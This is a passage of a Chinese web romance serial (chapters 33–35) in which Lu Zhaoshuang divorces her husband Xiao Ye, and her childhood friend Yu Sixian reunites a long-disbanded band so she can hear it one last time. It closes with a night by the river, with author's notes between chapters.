随着她的每一句控诉,萧烨浑身的血液也就这么渐渐冷了下去。 他感觉自己的灵魂已经被抽离出去,只听见自己机械地问:“阿霜,你怨恨我吗?” 陆照霜的目光终于收了回来,缓缓落在了他脸上。 很久以后,她一字字道:“当然,萧烨,我怨恨你。” 明明音乐厅内还有人员走动的声音、互相交谈的声音,却全在这一刻褪去了本来颜色,变成了无声默片。 只有她的口型、她的声音是清晰的。 凛冽锋锐得像刀子,一下子就刺穿了他。 她怨恨他。 两年多的时间,她终于从爱他,变成了怨恨他。 陆照霜垂下头,兀自说道:“其实你没必要把自己弄成现在这样,就算你不来,我也打算联系你的。” 萧烨下意识向后退了一步。 他总不会到了这种时候,还蠢到以为,接下来他能听到的,会是什么他想听的话。 “萧烨,我们离婚吧。”她轻而坚决地说。 【作者有话说】 前面回忆部分不是在给萧烨洗白,就是阐述阿照对他的执念来源,他如果很久以前就是个烂人了,那阿照怎么可能喜欢他那么久呢[垂耳兔头] 再ps,大家应该肯定没印象了,繁星之后的《昨日已逝》,就是4章 ,阿照在家里拉了,但是萧烨没听出来的曲子。 33/ 第33章 ◎离了◎ “离婚?”萧烨单手掌住半张脸,非常缓慢地把这两个字在唇齿间咀嚼过去,“你想离婚?” 陆照霜不由皱起眉头。 从听到这两个字开始,之前他身上那种狼狈又脆弱的感觉就渐渐褪去了,代之以一种她并不熟悉的阴戾。 “阿霜,这场把我们两绑在一起的游戏是你先开始的,”他冷笑了一声,指缝中漏出的眼睛爬满了血丝,“说好的我们要互相折磨到死,你这时候想先跳船,你觉得我会允许吗?” 再次听到这句话,陆照霜突然就觉得无比疲惫,“可我不想了,萧烨。” 当年听到他说,“我们就互相折磨到白头吧”,她是真的想过的。 就算这段婚姻再怎么不尽如人意,但和自己喜欢的人就那样纠缠到死,对她来说也并非不能接受。 可是。 “说来好笑,就算是这样的话,我竟然也曾经觉得,这算一种我们要一起白头到老的承诺,嗯,就算没有‘执子之手与子偕老’之类的话那么动听,我也还是那么想过。” 她几乎是自嘲地勾起了唇角,“但其实不是啊,萧烨,三个人要怎么白头到老?” 萧烨太阳穴又在突突跳动了,“说到底还是因为白斯榕?我没跟她做过任何对不起你的事,你不能看到我跟她一起出现在医院,就断定我出了轨,天底下没这个道理,你要是不信——” “可我见过她。”陆照霜听不下去,大声打断了他。 她急促地喘了口气,让自己重新平复下来,“她原来是叫白斯榕吗?那天看到的时候我就觉得很眼熟,后来我终于想起来了,她曾经是你的家教老师,不是吗?” 萧烨脸上终于露出了意外的神色。 “没想到我会记得她是吗?”陆照霜苦笑了一下。 “她好像是最近才回国的,萧烨,隔了这么多年,我们同学聚会有好多人你连名字都不记得了,可白斯榕一回国你就去找她……你是不是从那时候,就喜欢她了?” 萧烨眼神闪躲了一下,“那是很多年前的事情了。” 心脏随着这句话,被轻轻一捏,挤出几分叫人倒牙的酸涩。 原来,在她怀揣着自己小心翼翼的初恋,注视着他时,他也在用同样的目光注视着别人。 陆照霜恍然似的道:“就是因为这个,你才那么恨我答应联姻吗?那你为什么不早点告诉我呢?我要是早知道你有喜欢的人,我就不会跟你结婚了。” 不知道为什么,现在听到她说这种话,萧烨只觉得十分刺耳,“我说过那是很多年前的事情了,我找她不是为了和她发展什么别的关系。” 陆照霜终于按捺不住情绪,“可你喜欢过她,你不止一次去见一个你喜欢过的人,却不打算告诉我!如果不是我发现了,你会这样瞒着我见她见到什么时候?你知道这让我看起来有多可悲吗?萧烨,你不能这么对我,我也不能允许你把我变成这样!” 见他还想再说点什么,陆照霜干脆地截住他的话头,“反正你本来也不想跟我结婚,那你现在到底在纠缠什么?难道你喜欢我吗?” 萧烨忽然一愣。 但他还没来得及对这个问题做出任何反应,她就已经露出了不耐烦的神色,“那就太荒谬了,你总不能在发生了这么多事情以后,说你其实喜欢我吧?” 萧烨见过她很多模样,高傲的、欢欣的、难过的、凶巴巴的、气鼓鼓的,各种各种鲜活的陆照霜,唯独,这样不耐而厌烦的神色,是第一次见到。 他几乎立刻被刺激到了。 “哈,好啊,既然你非要这样,那离就离。” 他的神色冷下去,到了一种漠然的程度,“约好时间发给我,反正本来也不是我求着你结婚的。” 他伸手理了理自己凌乱的衣服,最后瞥了她一眼,余光扫过那束凋零的玫瑰花,嗤笑了一声,就转身大踏步离开。 他今天真是昏了头了,在自我感动给谁看? 那种求着别人留在自己身边的可悲样子,他不要再来第二次了。 陆照霜注视着他离去后的走廊,所有争执和纠缠寂灭后,周围空空荡荡的,她闭了闭眼,刻意在他面前紧绷的身体,也在此刻慢慢塌下去。 好像连轴转的行程和高烧,在这一刻才迟来地抽干了她所有的气力。 “阿照。” 陆照霜的身体,随着一声呼唤,下意识重新挺直。 她偏过头,看到郁思弦正朝她走来。 “你还好吗?”郁思弦大概是看到了她和萧烨争执的画面,才会露出这么担忧的表情。 陆照霜摇头笑道:“能有什么事?他答应和我离婚了,不是都说婚姻是爱情的坟墓,我都要从坟墓里爬出来了,难道不是件好事?” “啊!对了,”她恍然想起什么似的,拿出手机翻看着日历,“我还得跟民政局预约时间,还得找律师拟离婚协议……还好音乐季结束了,不然我还真不一定有那么多时间。” 郁思弦看着她故作轻松的模样,眼里有几分不忍,“律师我给你介绍,离婚的时间约好了,跟我说一声,我陪你去吧。” 陆照霜划拉着日历的手指忽就顿住了。 过去的两年间,她一直在尽力避免,让郁思弦看到她婚姻并不如意的真相。 因为自尊心作祟。 在她和萧烨订婚的前一天,萧烨的单身派对开得风光无限,听说别墅里的灯光彻夜不眠。 而那天晚上,陆照霜只是独自坐在阒寂无人的江边。 她分不清自己的情绪,但至少她做不到,像萧烨那样酣畅淋漓地玩闹一场。 这场迈入婚姻殿堂前的独自冷静,她没有告诉任何人。 但郁思弦就是毫无征兆地出现了,小时候每一次捉迷藏,他总能神通广大地抓到她。 他沉默地在她身边坐下,和她分完了一打啤酒,陪她看完了单身生活里的最后一场日落和月出。 最后在静默的涛声里,郁思弦问出了一个让她心生犹豫的问题。 “阿照,你会后悔吗?” 她自己明明在惴惴不安,却大言不惭地对他说:“有什么好后悔的?都21世纪了,结婚的这点代价,我又不是付不起。” 可最后,郁思弦还是看到了,她婚姻的开端和结尾、她为这段婚姻狼狈不堪的模样。 “不,我自己去,我不想再被你看见那么糟糕的样子了……”她低着头,轻声说完,又抬头朝他笑了笑,“但律师的事情就麻烦你了。” 看着她艰难扯起的嘴角,郁思弦只觉心脏被一只手攥得很紧。 他不是圣人,他当然盼着他们离婚,急切到一秒也不愿意再等下去,可他也不想再看到,她露出这样强颜欢笑的表情。 他说不出否定她的话,只能回答:“好。” 他又问:“之后什么打算?” 陆照霜像是才在思考这件事一样,慢吞吞地说:“我想给自己放个假,出去散散心,我好像真的太久没休息过了,林珩那边只能请他暂时找别人帮忙了。” 郁思弦仔细观察着她的表情,确认她这话是认真的,并没有其他过激的想法,这才在心里松了口气,“散散心也好,打算去什么地方?” “秘密,”陆照霜神秘兮兮地眨了下眼,“我打算一个人去,不能给别人找到我的机会。” 郁思弦也笑了,“好,那至少今晚,我还能送你回家吧?” “你这是什么问题?我连车都没开过来,当然只能麻烦你了。但你先等等我,我回去拿点东西。” “好,不急。” “没事,我很快的。” 说完,她转过身,却忽然在前方的长椅上看到了一抹鲜红的颜色。 不知道是哪个观众留在那里的玫瑰花束。 花瓣残损破败,只余不多几朵完好无损的,衬在其余的残花里,更添几分凛然和萧索。 像某种盛放过却又死去的东西。 无端让人觉得,很惋惜。 * 离婚那天,陆照霜从约好的车上下来,艳阳高照,刺目到她立刻就掏出了墨镜戴上,天意铁了心不给她任何伤春悲秋的机会。 她走到大厅的时候,萧烨已经在里面等她了。 他穿着一身黑棕色的很端正的西装,看到她的时候紧紧皱起了眉头,“你这是什么打扮?” 撇开她架在鼻梁上的墨镜不提,她长发编成了柔软而蓬松的辫子,发尾系着一条浅绿色丝带,像只蝴蝶垂在她白皙的脊背上,身上穿着垂到脚踝的蓝色碎花吊带裙,还踩着一双清爽的凉鞋。 不知道的,还以为她不是来离婚的,而是来度假的呢。 行李箱就放在车子后备箱,确实打算登记完就去度假的陆照霜:“?” 就在这时,一对穿得非常光鲜亮丽的男女从他们面前经过。 男方:“呦,你脸上粉厚得我都差点没敢认,怕不是后悔得一晚上都没睡着,遮你那黑眼圈呢吧?” 女方:“后悔你爹呢?笑死人了,你这衣服租来的吧?也不照照镜子看看配不配,丑成这样,离了我以后有谁能看得上你?” 双方一边极尽攻讦之能事,一边竭力展现自己的平淡无所谓,恨不能把对方踩在脚底,证明离了自己是对方这辈子犯过最大的错。 萧烨若有所思,又朝陆照霜看了一眼,然后悟出了什么似的,嗤笑了一声。 陆照霜:“??” 她不知道萧烨都想了些什么,但也懒得知道了。 离婚的队伍总是充满人生百态,有恨不能掐死对方的,有两看相厌一秒也不愿多待的,有一方不舍流泪另一方漠然处之的。 他们两是其中的异类。 谁都没有表现出过激的情绪,简直像是来民政局参观的观光客。 填写离婚登记申请书的时候,陆照霜摘下了墨镜。 萧烨偏头看了她一眼。 她睫毛很长,眼神清澈专注,笔下的字迹清晰又端正。 很像来登记结婚的那天,不管其他时候是什么表情,但在填表的这一刻,她只是非常安静,像是敬畏于一张纸、几行字对人生至关重要的影响。 萧烨握着笔的手忽然一顿。 “希望你别在冷静期突然撤回申请,”他扯了扯嘴角,“毕竟准备这些材料真挺麻烦的。” 陆照霜没有抬头,只是平静地说:“不会。” 然后在落款处签下了自己的姓名。 萧烨下颌线绷得很紧,也跟着签下了名字。 从民政局出来,他们没什么闲话可聊,就此作别。 他站在台阶上等司机把车开过来,看到她怕晒一样,用手挡了挡脸,小跑着钻进出租车,然后绝尘而去,一次也没有回头。 * 陆照霜抵达港口,坐在等待室,看着自己手里的船票。 她的目的地,是一个叫崇澜岛的海岛。 在国内众多知名度假圣地里,崇澜岛的名字根本排不上号,但陆照霜曾经看过它的照片和视频,喜欢它的清净,因此,它成为了她蜜月期的最后一站。 突然,她苦笑了一下。 当时她心里还很高兴,度蜜月把萧烨拐去这么一个名不见经传的地方,他还毫无异议,他应该真的,挺喜欢她的吧。 现在才反应过来,那大概只是浑不在意而已。 她揉了揉自己的脸,警告自己,别想了。 离婚的消息没有告诉别人,毕竟证还没到手,长辈们听见了容易节外生枝。 她想趁这个无人知晓的时机,去那个人烟稀少、她却很喜欢的地方,将那段不堪回首的记忆覆盖过去。 广播在前方响起——“请乘坐明日号轮船前往崇澜岛的旅客,携带好您的船票和有效证件,前往6号登船口有序登船……” 陆照霜站起身,拉着行李箱拉杆,走过去排队。 “阿照!” 她愣了一下,直到又一次听到“阿照”的喊声,她才猝然回头。 就像小时候每一次,郁思弦都会打开柜门、拨开草丛、走进假山洞穴,然后抓住躲藏的她一样。 明明没有告诉任何人自己要去哪里。 他却再一次毫无征兆地从天而降,站在人群那头凝望着她。 陆照霜犹豫片刻,走过去,“思弦?” 郁思弦似乎是赶来得有些急,急促地喘了口气,才道:“阿照,我不是来打扰你的,我只是之前不确定赶不赶得上,怕你空欢喜,所以没有提前告诉你。” “在你出发之前,有*样东西,我希望你能看到。” 陆照霜笑了下,不觉得有什么东西对她有那么大吸引力,“我都要登船了,等回来再说吧,我也就出去旅游一阵而已,又不是不回来了。” 郁思弦定定地看着她,“繁星之后,他们今晚就在搁浅演出。” 【作者有话说】 在这里推一下专栏完结文《第十年的暗恋回信》[三花猫头] 虽然是女主暗恋文,但并非“女主暗恋男主,男主爱而不自知伤害了女主,女主伤心分手,男主追悔莫及追妻”这种发展。 男女主都是好孩子,男主从明白自己心意以后就一直坚定地喜欢着女主,女主也不是表面上的乖乖女,在中后期会展现自己一直隐藏的真正性格,本质是双向救赎和自我救赎的一个故事。 [三花猫头]如果有读者朋友感兴趣,可以去看看呀 34/ 第34章 ◎你很喜欢她吧◎ 陆照霜心脏不受控制地一跳,茫然望向郁思弦的眼睛,“繁星之后……你在说什么?他们不是早就已经解散了吗?” 十八岁那年,她在livehouse现场,亲眼见证的。 在所有演唱曲目结束后,面对着观众们大喊着“安可、安可”的呼唤,繁星之后的所有人却都只是沉默以对。 最后,主唱握住了麦克风,低垂着眸,没有看任何人。 “很高兴最后还能有这么多人捧场。” 她明明嘴上说着高兴,但语调却没有任何起伏,像只是在阐述一件微不足道的小事——“这就是我们作为‘繁星之后’的最后一次演出了。” 陆照霜还记得,当时心脏像石头一样沉下去的声音。 很快,繁星之后的官方账号注销,所有成员都不再公开活动,这个本就小众的乐队,在井喷式爆发的娱乐时代,彻底销声匿迹。 像从未存在过一样。 听着她有些颤抖的声音,郁思弦垂在腿侧的手微微一动,却终究还是没有抬起,只是温和地看着她,“阿照,没人规定,解散了的乐队就不能重聚。” “他们今晚就在那里,怎么样,阿照,要去吗?” 那是从十四岁起,每一个她焦躁不安、难以坚持的日子里,用来振作自己的乐队。 就算章若华看得再严,她也想方设法去看他们演出的乐队。 她怎么可能拒绝得了这种诱惑? 陆照霜低下头,很轻地吸了一下鼻子,“你这是明知故问。” 郁思弦笑了一下,但没有取笑的意思,只是从她手里接过行李箱,淡淡道:“把船票改签一下,我们走吧。” 作为一个已经消失了整整八年的乐队,繁星之后的号召力约等于无,搁浅里只有平日就会过来喝酒的常客。 牧衡给陆照霜单独安排了一个二楼的卡座,最好的位置,无论是他还是郁思弦,都没有来打扰她。 繁星之后的成员们阔别八年,重新站上了舞台,在工作人员的帮助下,有些生疏地调试着设备。 陆照霜怔怔注视着他们,久久回不过神来。 最后一次见到他们时,繁星之后还是一支二十多岁年轻新锐的乐队。 而现在,他们已经三十多了。 鼓手长起了厚厚的啤酒肚;键盘手的小腹微微鼓起,大约是怀着孕;贝斯手的手臂丰腴到看起来有些不太灵活;节奏吉他瘦得可怕,眼球好像要从干瘪的眼皮下突出来。 只有主唱,无论是体型还是精神气,都还保留着当年的风采,但刘海下的眼睛里,也不复过去的锋芒毕露,而是蕴着一种历经世事后的淡泊平静。 那是岁月和人生留在他们身上的刻痕。 陆照霜在赶来的路上,想象过很多次他们如今的模样,却从未想过。 他们也会变老,再也不会是她记忆里的模样了。 “Hello,大家好,我是繁星之后的主唱许默,我猜现在应该已经没有人记得我们的名字了,但这是时隔八年,再一次和我的老朋友们站在一起,我还是希望,今天来到这里的观众,都能觉得开心。” 那是和林珩截然不同的温和内敛的风格,许默握着麦克风,朝观众们鞠了一躬,然后朝身后的成员们点点头。 演出开始。 歌还没有唱几首,台下就有了些微喝倒彩的声音。 因为乐器组们的演奏水平,几乎比最开始的逃出人间还要差,虽然没有杜骅那样毁灭性的灾难,但也确实影响到了演出的效果。 许默却好像完全不介意这一点,脸上始终都是真挚的微笑,“接下来这首歌的名字,叫《昨日已逝》,希望大家能喜欢。” “我还在续约, 你和我的空房间。 我还在保存, 你和我的旧照片。 我哭着笑着盼着望着等你回来, 等啊等啊,可等不到你的出现。” 许默的声音褪去了年轻时的干净清朗,透着一种细微的沙哑,技巧圆融到几乎无从察觉,吐出的每一个音节,都饱含着历经世事的深厚感情。 乐队之所以是乐队,就是因为,每一个人的努力与不努力,都会反应在演出效果里。 许默一个人的努力,没能挽回观众们的心。 可陆照霜的目光,却根本无法从他们身上移开视线。 那样动听的声音、和那样杂乱的伴奏,撕裂得她胸口也裂开一个大口,痛得她又像是想哭、又像是想笑,然后慢慢地捂住了自己的下半张脸。 从医院那天过后,她就没有再崩溃或者哭过了。 她忙碌地准备闭幕音乐会和离婚手续,她和萧烨很丑陋地争吵和指责,她在民政局平静地签下自己的名字。 她以为,这就过去了。 其实没有。 离婚、和一个陪伴自己二十多年的人分开、彻底失去他。 这种实感,她真的体会到。 是在这一刻。 是她记忆里熠熠生辉、唱着《昨日已逝》的繁星们,终于变成再也无法重来的昨日……的这一刻。 她怀念他们,就像怀念着十二年前那天的幻影。 她紧抓着萧烨不放,就像怀念一切苦痛与灾难出现前,她短暂明媚过的青春。 她掩耳盗铃,假装自己并不知晓,他早都不是她记忆里的模样了。 她喜欢的少年明明是那样的—— 虽然任性,但很仗义,会和她一起为遭受不公的郁思弦出气,会为受了欺负的她出头。 虽然张扬,但很细腻,会看出她努力掩藏的不安和痛苦,带着她兜风、带着她去听一个完全陌生的乐队。 他是那样,值得她喜欢的人。 不会心有旁骛地见着别人又瞒着她,不会蔑视遭受不公的陌生姑娘还不悔改,不会故意在别人面前捉弄她,不会拿捏着她的心意来打击她,不会乖乖接受不情愿的婚姻然后把怒气发泄在她身上。 甚至在更久以前,在她为了陪伴妈妈而选择留在国内的时候,他也不会因此而埋怨她。 《昨日已逝》到了尾声,许默的声音如泣如诉,如同低沉的悼亡。 “我真的看不到吗? 我真的听不懂吗? 你不在我可以等到的明天, 你成了我终将逝去的昨日。” 她应该明白的。 她早都失去他了。 早在白斯榕出现之前,早在因为徐勿凡吵架之前,早在他们结婚之前,早在她根本没有察觉的很久以前。 她喜欢过的那个少年,就已经成为了她终将逝去的昨日。 …… 隔着半个酒吧,斜对角的卡座上,郁思弦和牧衡坐在那里。 能清晰地看到,对面那个女孩脸上滚落的眼泪。 持续、缓慢而无声。 却反而让人觉得格外难过。 牧衡叹了口气,“你的小青梅哭得好伤心,是想到她那位前夫了吧?” 郁思弦一言不发。 “你真的让我太感动了,”牧衡反而更来劲了,故意给郁思弦鼓了个掌,“费了那么大功夫那么大价钱,把这几个人重新凑到一起,就是为了让你的心上人缅怀和她前夫的甜蜜过去,你到底图什么呀?” 郁思弦隐忍的目光从陆照霜脸上移开,淡声道:“我说过了,不要拿我当什么圣人。” “不不不,你真是太谦虚了,我看你再这么下去,也离圣人不远了。” “牧衡,你又怎么知道,我把这支乐队叫到这里,不是为了我自己呢?” “哈?你支持林珩我还能理解,毕竟是你老同学。但这支乐队不是八年前就解散了吗?那时候你多大?十八?你那时候竟然会对这种乐队感兴趣?” 郁思弦因这句话,被拉回许多午夜梦回时,他都久久不能忘怀的瞬间。 在震惊的、失望的、无声的livehouse里,少女转过头来,对着他,有点悲哀地笑,“思弦,是不是所有故事都会有终点?” 郁思弦端起酒喝了一口,“我感兴趣的当然不是这支乐队。” 那还能是什么,牧衡觉得自己也不用问了。 演出结束后,牧衡去招待乐队成员们,唯独许默向四周搜寻了一圈,然后朝郁思弦走了过来。 “虽然不知道为什么你要把我们聚在一起,但还是谢谢你,我没想到,在这么多年后,我还能和大家再一起唱歌。” 郁思弦朝她微微颔首,“用不着谢我,你们乐队其他人都已经远远够不上乐队的一般水准了,只有你唱得比当年更好,你值得拥有更好的舞台。” 他没说的是,在这支乐队的所有人里,只有许默是拒绝了任何报酬,只听到这个提议,就欣然赶来的那个人。 许默一愣,迟疑地打量了一下他,“你……以前是我们的粉丝?” 郁思弦淡笑了一下,“称不上,真正的粉丝在那里。” 他朝陆照霜的方向望去。 许默转头,毫无阻碍地,就找到了他说的那个人。 只有那个女孩独自坐在卡座,仍旧失神地望着已经空下去的舞台,眼尾还有没褪去的红。 许默有自知之明,他们今天的演出,绝对到不了,能让人潸然泪下的程度。 只可能是因为怀旧。 她忽然有几分难言的酸涩甜蜜,也许,他们也曾经成为过别人心目中再宝贵不过的回忆吧。 “你是为了她才请我们来的吗?” 郁思弦直白地回答:“是。” “那,”许默犹豫着问:“需要我过去跟她聊会天吗?” 郁思弦的目光又在陆照霜身上轻轻一落,握着酒杯的手指微微攥紧,最后还是摇了摇头。 “不必,让她自己静一会儿吧。” 许默颇有些意外地看向郁思弦。 他们这个圈子里,算得上观念比较开放的,专门请一个乐队来博君一笑这种事,也不是没听说过。 这种人往往都非常张扬,恨不能把自己的功劳说得全天下都知道,更别说是对他们想追的对象了。 但面前这个人,明明做着比那些人更夸张的事,硬是把一个散伙八年的乐队在几天之内重组到一起,安排他们磨合排练。 却又比谁都内敛。 好像,就只是单纯,想要那个女孩可以再看一次他们的演出一样。 许默心里微微一动,不小心脱口而出:“你很喜欢她吧。” 救命!她在说什么鬼东西! 她后悔不迭,可面前这个看起来很严肃的男人,却没有丝毫被冒犯的气恼,而是露出了他们对话以来,第一个没有任何掩饰的微笑。 “很明显吗?” “不能更明显了。” “如果这么明显的话……”郁思弦微微偏过头,看着陆照霜的方向,轻声道:“真希望她也能快一点看到。” 【作者有话说】 郁思弦:图让她彻底放下。 35/ 第35章 ◎间接接吻◎ 许默顿了顿,不好对别人的感情状况擅自评价。 但好在,郁思弦也没有就这个话题继续聊下去的意思,“多谢许小姐今天愿意赶过来,如果以后遇到什么麻烦,可以联系我。” 许默连忙摆手,“我知道组织一次演出并不容易,我感谢你还来不及呢,怎么敢再麻烦你?” “许小姐客气了。” 许默打量着他周身穿着气度,虽然不显山不露水,但那种矜贵冷峻的感觉,还有他把他们组织在一起的大手笔,想来不是什么寻常人。 但许默咬了咬牙,还是说:“虽然我可能回报不了你什么东西,但如果你以后有什么事需要帮忙,我一定义不容辞。” 她以为这样的人物,对她这种不自量力的话只会一笑置之,但没想到,郁思弦眼睫微垂,道了声,“好。” “如果以后有一天,我带着一件可能很麻烦的事来找你,希望许小姐到时候可以认真考虑。” 郁思弦指尖落在桌面上,很轻地点了两下,朝她微微一笑。 无端就给许默一种,自己好像掉进了什么预设好的陷阱的感觉。 但她说出去的话,就没有反悔的道理,因此还是干脆答应:“好。” 道过了谢,许默也就不再多留,转身去和自己的老队友们叙旧。 只剩下郁思弦一个人,注视着同样是一个人的陆照霜很久。 一直看到她从思绪中回过神来,他才起身走到陆照霜身边。 “还好吗?” “没事了,”陆照霜这会儿已经平复了下来,抬眼问他:“他们是你请来的吗?” “嗯。” 陆照霜没问为什么,只是轻声道:“谢谢。” 郁思弦打量着她的神色,斟酌着道:“时间也不早了,我送你回家吧。” “这时间哪里晚了?” 随着这么一声,跟着,牧衡的胳膊就搭在了郁思弦的肩膀上。 他挑着眉对陆照霜怂恿道:“陆小姐,知道单身生活最大的好处是什么吗?是你从现在开始,就可以夜不归宿,再也没有人能说你了!” 郁思弦立刻给他飞去一个警告的眼神。 但陆照霜却是听得一笑,“好啊,那就喝杯酒再走吧。” 牧衡闻言,得意地朝郁思弦挑了挑眉,“你看看人家!” 然后就率先引着陆照霜下楼了。 郁思弦落在他们两之后,无奈一笑,也跟了上去。 前台吧台,酒水单被推到了陆照霜面前,她却看都没有看一眼,而是直接叫出了那个几次被她拒绝的名字:“给我一杯‘黄粱一梦’吧。” 郁思弦下意识看了她一眼,却也没有多说什么。 牧衡倒是立刻兴奋起来了,“那我可得亲自给你调了。” 很快,一杯由浅金渐变至深红色的酒被推到了她面前。 陆照霜没有犹豫,仰头就喝下半杯。 辛辣、冰凉,完全没有用果香甜味去掩盖酒精度数,反而带着一种叫人喉口涩然的苦味后调。 大脑和胸口,都被激得清明一片。 黄粱一梦,如梦方醒。 这场持续十数年、让她流连往返的旧梦,到了该醒的时候了。 她喝完了那杯酒,在牧衡还想继续推荐的时候,她摇了摇头,转而看向郁思弦,“思弦,要不要跟我去江边喝一杯?” 郁思弦往她眼里一望,随即,他的回答是,起身将西服捞进臂弯,然后偏头看她,“走吧。” …… 申城郊区的江边,两侧绿化带旁修了可供人参观游览的石道,但因为偏僻、时间又晚,看不到任何人影,只有幽寂的路灯下飞着不知名的飞虫。 越过石栏,下面有一大片倾斜的草地。 是陆照霜订婚前夜,他们一起喝过酒的地方。 “也不知道你当时怎么敢一个人来这里待一晚上的。”郁思弦一边扶着她的手臂,托着她从石栏翻过来,一边稀松平常地提起两年前的那天。 陆照霜轻轻踩到了地面上,他等到她站稳了,才松开手。 “就是说啊,我是怎么敢的呢?” 陆照霜笑了笑,挽着裙子就准备直接坐下,郁思弦却已经先一步将他的外套铺在了地上。 她顿了顿,默默坐下,拉开一罐啤酒,喝下一口,抱着自己的膝盖,注视着黑沉而隐约的江水。 沉默了许久,她才低声喃喃道:“从你的角度,我是不是一直都挺蠢的。” 那不是一个问句。 郁思弦坐在她身侧,偏头时,只能看到她搁在膝上的半张脸,白得让人心里很紧,“我从没那么想过你,如果要说蠢的话,那你不是早都见过我最蠢的时候了吗?” “你吗?”陆照霜被逗得一笑,摇了摇头,“我怎么不记得有那种时候?” 郁思弦也拉开一罐啤酒,喝了一口以后,才低声说:“你当时不是每天跑来我家看我?” 陆照霜一愣。 他说的是小时候,他遭遇枪击案没多久,她因为觉得他的眼神很不对,所以每天放学后跑去找他的那段时间。 她错愕地转头,“你当时真的……” 郁思弦握着啤酒罐,看上去很平静,只有落在江面的目光被染上了一样的深寂,“你不就是因为发现了,所以才每天过来盯着我的吗?” 陆照霜震惊到有些失语。 原来那时她甚至不敢告诉别人的那个猜测,竟然是真的。 郁思弦单手撑在身侧,朝她微微倾身,跟她碰了下啤酒罐,“你看,你连我那么蠢的样子都见过了,还有什么能比这更蠢?” “你别这么说!” 就算陆照霜因为离婚再消沉,也无论如何,都不愿他拿出那时候的事情来安慰她。 那根本就不是能相提并论的事情。 陆照霜劈手夺过他手里的啤酒罐,“如果你是为了这种理由才喝酒的话,那这瓶酒我帮你喝了。” 说完,她握着他的啤酒罐抬起手,就要碰到嘴唇的时候,手指却一紧,忽然意识到,郁思弦已经喝过了。 啤酒罐的口就那么大,碰到的话……那算间接接吻吗? 余光里,郁思弦手肘支在膝上,正好整以暇地看着她,似乎没有意识到不对。 如果她做出什么过激的反应,那反而显得很尴尬。 算了,不想了! 她干脆捏着啤酒罐,一口气喝了个干净,然后把空罐塞进塑料袋里,转头对郁思弦道:“当时的那些事情,过去了就是过去了,你别再想了。” 她不知道为什么,听到她这句话,郁思弦却深深注视着她,然后噗嗤笑了,笑得微微弓着腰,额头抵在了她的肩膀上。 “阿照,你真的是……” 真的是什么,他没有说。 但她今天穿的是吊带裙,肩膀露在外面,和其它被夜风吹拂的皮肤相比,被他触及的那一小片,炙热到让她身体都僵硬起来,有些不知所措。 她的手指把身下的杂草攥紧了。 郁思弦抵着她的肩头,数着他停留的秒数。 一秒、两秒、三秒…… 他想,牧衡真的错判他错到离谱。 牧衡曾经在他住院的那一阵,撺掇他去阿照面前卖惨,说她这种性格最吃一套。 这种事,郁思弦早在二十年前就知道了。 阿照就是那样的人啊,一旦看到别人的痛苦,就会隐忍下自己的痛苦,去安抚别人的人。 就像现在,只因为他提起当年的旧事,她身体再怎么僵硬,也不会选择推开他。 他总是矛盾。 要利用她的好奇、她的同情,让她的目光驻足在他身上,却又舍不得看她委曲求全的模样。 他底线很低,怜悯带来的温度也足以他珍藏缅怀,可他又太贪婪,不愿只要她的怜悯。 第十秒,郁思弦在心底轻轻叹息,重新坐直了身体。 “抱歉,阿照,我失态了。”他彬彬有礼实则毫无诚意地说。 “没事。”陆照霜连忙摇了摇头。 经历过那样的事,他还能好好生活就已经很不容易了,这种短暂的失控又算得了什么呢。 她想找点事情转移郁思弦的注意,忽然,她目光从前方扫过,然后睁大了眼,伸手去拉郁思弦的胳膊。 “思弦,你看,月亮出来了!” 郁思弦的目光终于从她脸上,移到了面前的天空。 准确来说,那不能叫月亮出来了,而是云层散开了,露出了后面白玉一样莹润的圆月,在波光粼粼的江面上留下层层叠叠的银色倒影,颇有海上生明月的意境。 美到让陆照霜觉得,把这样一个夜晚用来消沉下去,只是一种对于人生的浪费。 “思弦,要不要跟我拉个勾” 她兴之所至,偏头对郁思弦伸出了小拇指,“无论是你还是我,那些不开心的事情,我们就都留到今天吧,不要再想了。” 郁思弦定定看她一会儿,然后和她勾住手指,“好,我会做到,希望你也会做到。” 她笑了笑,又看着月亮喝了一会儿酒,就在郁思弦问她准不准备回去的时候,她忽然想起。 “啊,我还有一首曲子想拉,我去取我的琴。” 郁思弦按住她的肩膀,“你坐着吧,我去取。” 陆照霜也就随他去了。 车停得不远,郁思弦回来得很快,刚够陆照霜复习完一遍曲谱。 她站起身,活动了一下手腕手指,小提琴抵在颈边时,不好意思地对他笑了一下,“说真的,大概是我有点迷信吧,我真的很久没有拉过这一首了,如果没有拉好,那请你见谅。” 她唯一的观众坐在草地上,闻言挑了下眉,对她做了一个请的姿势。 陆照霜深呼了一口气,然后闭上眼睛。 忧郁而高亢的旋律从她手下流淌而出。 几乎没几秒,郁思弦就立刻听出了这首曲子,弗里茨克莱勒斯的小提琴小品《爱之悲》。 而他也立刻意识到,她要在今晚拉这首曲子的理由,一定是因为她在萧烨面前,拉起过它的“姊妹篇”、克莱勒斯的另一首小品——《爱之喜》。 在明畅又忧愁的旋律结束后,她垂下握着琴弓的手,就像垂下她鸦黑的睫毛,所有神色都被掩住。 “在我和萧烨度蜜月的最后一天,我曾经给他拉过另一首曲子,我想着,拉完我就告诉他那首曲子的名字,但我没来及说,后来就再也没有机会告诉他了。” 她站在银色的月光和昏黄的路灯交汇处,蓝色的裙摆几乎要融进漆黑的夜色里,声音轻得像一阵会飘走的风。 “阿照。” 郁思弦的声音把她从失神中唤醒。 她抬眼,就撞上郁思弦温和而耐心的目光。 “我听过很多版本的《爱之喜》和《爱之悲》,但无论是哪个版本,《爱之喜》都不是真有那么快乐,《爱之悲》也不全是忧愁,不是吗?” 她的亦然。 陆照霜也就跟着笑了,“是啊。” 她放下小提琴,重新将它装进琴盒里,郁思弦则去收拾起他们喝完的空酒罐。 最后离开江边的时候,陆照霜没有再回头望。 她回头得够久了,真的已经够了。 晚上照旧是回江源名苑,这房子萧烨就没住过多久,两年多下来,几乎完全是按她的生活习惯布置的,她没理由把房子让给萧烨。 他们离得太快,萧烨的东西都还没搬走,不过也无所谓,这里本来也没有他多少东西。 她不想擅动他的东西,以免将来有什么掰扯不清的地方,于是给他发了消息,叫他等她明天走了过来取。 想了想,她又约了装修公司过来改造,等她旅游回来,这间房子里,属于萧烨的痕迹就会彻底消失了。 “呼。” 陆照霜放下手机,也懒得再上楼了,盖了张薄毯,就在客厅的沙发上睡着了。 是她好长一段时间以来,睡得最黑甜的一天。 第二天,陆照霜重新拉上行李箱,准备出发前往崇澜岛。 郁思弦在她门口等她。 